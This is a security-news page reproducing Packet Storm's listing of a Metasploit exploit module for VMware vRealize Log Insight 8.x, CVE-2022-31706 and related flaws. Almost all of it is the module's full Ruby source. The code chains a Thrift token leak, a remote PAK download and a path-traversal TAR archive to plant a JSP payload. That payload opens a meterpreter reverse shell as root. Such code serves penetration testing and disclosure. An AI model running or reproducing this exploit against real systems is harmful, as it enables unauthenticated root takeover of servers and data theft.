Security
Headlines
HeadlinesLatestCVEs

Headline

VMware vRealize Log Insight Unauthenticated Remote Code Execution

VMware vRealize Log Insights versions 8.x contain multiple vulnerabilities, such as directory traversal, broken access control, deserialization, and information disclosure. When chained together, these vulnerabilities allow a remote, unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. This Metasploit module achieves code execution via triggering a RemotePakDownloadCommand command via the exposed thrift service after obtaining the node token by calling a GetConfigRequest thrift command. After the download, it will trigger a PakUpgradeCommand for processing the specially crafted PAK archive, which then will place the JSP payload under a certain API endpoint (pre-authenticated) location upon extraction for gaining remote code execution. Successfully tested against version 8.0.2.

Packet Storm
#vulnerability#web#linux#apache#js#git#rce#vmware#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/proto/thrift'require 'rex/stopwatch'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Tcp  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::EXE  include Msf::Exploit::CmdStager::HTTP  include Msf::Exploit::Retry  include Msf::Exploit::FileDropper # includes register_files_for_cleanup  prepend Msf::Exploit::Remote::AutoCheck  Thrift = Rex::Proto::Thrift  def initialize(info = {})    super(      update_info(        info,        'Name' => 'VMware vRealize Log Insight Unauthenticated RCE',        'Description' => %q{          VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as          directory traversal, broken access control, deserialization, and information disclosure.          When chained together, these vulnerabilities allow a remote, unauthenticated attacker to          execute arbitrary commands on the underlying operating system as the root user.          This module achieves code execution via triggering a `RemotePakDownloadCommand` command          via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest`          thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the          specially crafted PAK archive, which then will place the JSP payload under a certain API          endpoint (pre-authenticated) location upon extraction for gaining remote code execution.          Successfully tested against version 8.0.2.        },        'License' => MSF_LICENSE,        'Author' => [          'Horizon3.ai Attack Team', # Original POC & analysis          'Ege BALCI <egebalci[at]pm.me>', # Metasploit Module        ],        'References' => [          ['ZDI', '23-116'],          ['ZDI', '23-115'],          ['CVE', '2022-31706'],          ['CVE', '2022-31704'],          ['CVE', '2022-31711'],          ['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'],          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'],        ],        'DisclosureDate' => '2023-01-24',        'Platform' => %w[unix linux],        'Arch' => [ARCH_X86, ARCH_X64],        'Privileged' => true,        'Targets' => [          [            'VMware vRealize Log Insight < v8.10.2',            {              'Platform' => 'linux',              'Arch' => [ARCH_X64],              'Type' => :linux_dropper,              'DefaultOptions' => {                'SSL' => true,                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',                'PrependFork' => true              }            }          ]        ],        'DefaultTarget' => 0,        'Payload' => {          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',          'WfsDelay' => 15        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        Opt::RPORT(443),        OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]),        OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]),        OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/'])      ]    )    register_advanced_options(      [        OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]),        OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ])      ]    )  end  def check    print_status "Checking if #{peer} can be exploited."    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'i18n', 'component'),      'method' => 'GET'    })    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200    translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, ''))    return Exploit::CheckCode::Unknown if translation.nil? || !translation.key?('version')    version = Rex::Version.new(translation['version'])    if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it      return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}")    end    Exploit::CheckCode::Safe  end  def generate_malicious_tar    mf_file = <<~EOF.strip      {          "CHECKSUMS": [              {                  "CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '}                  "FILE_NAME": "eula.txt"              },#{' '}              {                  "CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '}                  "FILE_NAME": "cn_eula.txt"              },#{' '}              {                  "CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '}                  "FILE_NAME": "de_eula.txt"              },#{' '}              {                  "CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '}                  "FILE_NAME": "es_eula.txt"              },#{' '}              {                  "CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '}                  "FILE_NAME": "fr_eula.txt"              },#{' '}              {                  "CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '}                  "FILE_NAME": "ja_eula.txt"              },#{' '}              {                  "CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '}                  "FILE_NAME": "ko_eula.txt"              },#{' '}              {                  "CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '}                  "FILE_NAME": "tw_eula.txt"              },#{' '}              {                  "CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '}                  "FILE_NAME": "upgrade-driver"              },#{' '}              {                  "CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '}                  "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm"              }          ],#{' '}          "FROM_VERSION": "8.8.0-0",#{' '}          "REQUIRED_SPACE": "1073741824",#{' '}          "RPM_INFO": {              "KEY_LIST": [],#{' '}              "REBOOT": "False",#{' '}              "RPM_LIST": [                  {                      "ARGUMENTS": [                          "--nodeps"                      ],#{' '}                      "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '}                      "OPTION": "INSTALL_OR_UPGRADE"                  }              ]          },#{' '}          "TO_VERSION": "8.10.2-21145187"      }    EOF    cert_file = <<~CERT      SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776      -----BEGIN CERTIFICATE-----      MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV      BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x      FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy      MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD      VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI      hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw      9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb      4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay      9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT      W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw      kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww      HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd      m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs      aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu      Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP      nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69      i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S      fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0      IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G      PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG      vSqQGIbCybw5KTCXRQ8d      -----END CERTIFICATE-----    CERT    # Generate a TAR archive with dir traversal...    print_status 'Encoding the payload as JSP'    payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)    jsp_name = 'api-v5-documentation.jsp' # version number can be randomized    slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}"    register_files_for_cleanup(slip_name.gsub('../..', ''))    rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size    dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary    tar = StringIO.new    Rex::Tar::Writer.new(tar) do |t|      dummy_files.each do |dum|        t.add_file(dum, 0o644) do |f|          f.write(rand_data)        end      end      t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files        crt.write(cert_file)      end      t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf|        mf.write(mf_file)      end      t.add_file(slip_name, 0o644) do |f|        f.write(payload_jsp)      end    end    tar.seek(0)    data = tar.read    tar.close    data  end  def on_request_uri(cli, _request)    payload_tar = generate_malicious_tar    print_status "Malicious TAR payload created (#{payload_tar.length} bytes)"    print_good("Payload requested by #{peer}, sending...")    @got_request = true    send_response(cli, payload_tar)  end  def exploit    # This is important check...    fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/    # Step 1 generate malicious TAR archive    file_name = Rex::Text.rand_text_alpha(7)    pak_name = "#{file_name}.pak"    output_file = '/dev/null'    register_files_for_cleanup("/tmp/#{pak_name}")    print_status('Starting Payload Server')    start_service('Path' => "/#{file_name}.tar")    # Connect to the Apache Thrift service    @tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT'])    fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil?    # Step 2 obtain node token    print_status 'Fetching thrift config...'    send_request([      Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL)    ].map(&:to_binary_s).join + "\x0c\x00\x01\x00\x00")    config = recv_response(datastore['THRIFT_TIMEOUT'])    fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil?    token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s    fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty?    print_good "Obtained node token: #{token}"    print_status 'Sending getNodeType...'    send_request([      Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL)    ].map(&:to_binary_s).join + "\x00")    # Step 3 download the malicious pak    serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar"    print_status 'Sending RemotePakDownloadCommand...'    download_pak_req = "\x80\x01\x00\x01"    download_pak_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43"    download_pak_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00"    download_pak_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01"    download_pak_req += "\x08\x00\x01\x00\x00\x00\x09\x0c"    download_pak_req += "\x00\x0a\x0b\x00\x01"    download_pak_req += [token.length].pack('N') + token + "\x0b\x00\x02"    download_pak_req += [serve_address.length].pack('N') + serve_address # "\x00\x00\x00\x24" + serve_address    download_pak_req += "\x0b\x00\x03" + [file_name.length].pack('N') + file_name    download_pak_req += "\x00\x00\x0a\x00\x02\x00\x00"    download_pak_req += "\x00\x00\x00\x00\x07\xd0\x00\x00"    send_request(download_pak_req)    download_resp = recv_response(datastore['THRIFT_TIMEOUT'])    fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil?    retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do      @got_request    end    # Step 4 trigger pak upgrade    print_status 'Sending PakUpgradeCommand...'    pak_upgrade_req = "\x80\x01\x00\x01"    pak_upgrade_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43"    pak_upgrade_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00"    pak_upgrade_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01"    pak_upgrade_req += "\x08\x00\x01\x00\x00\x00\x08\x0c"    pak_upgrade_req += "\x00\x09\x0b\x00\x01" + [pak_name.length].pack('N')    pak_upgrade_req += pak_name + "\x02\x00\x02\x00"    pak_upgrade_req += "\x0b\x00\x03" + [output_file.length].pack('N') + + output_file    pak_upgrade_req += "\x02\x00\x04\x00"    pak_upgrade_req += "\x0b\x00\x05\x00\x00\x00\x03\x65"    pak_upgrade_req += "\x6e\x67\x02\x00\x06\x00\x00\x00"    pak_upgrade_req += "\x0a\x00\x02\x00\x00\x00\x00\x00"    pak_upgrade_req += "\x00\x07\xd0\x00\x00"    send_request(pak_upgrade_req)    upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT'])    fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted'    print_good 'PakUpgrade request is successful'    print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..."    sleep(datastore['WaitForUpgradeDuration'])    # Step 5 trigger the JSP payload.    print_status "#{peer} - Triggering JSP payload..."    disconnect    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'),      'method' => 'GET'    })    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  end  def send_request(request)    @tsock.put([request.length].pack('N') + request)  end  def recv_response(timeout)    remaining = timeout    res_size, elapsed = Rex::Stopwatch.elapsed_time do      @tsock.timed_read(4, remaining)    end    remaining -= elapsed    return nil if res_size.nil? || res_size.length != 4 || remaining <= 0    res = @tsock.timed_read(res_size.unpack1('N'), remaining)    return nil if res.nil? || res.length != res_size.unpack1('N')    return res_size + res  rescue Timeout::Error    return nil  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6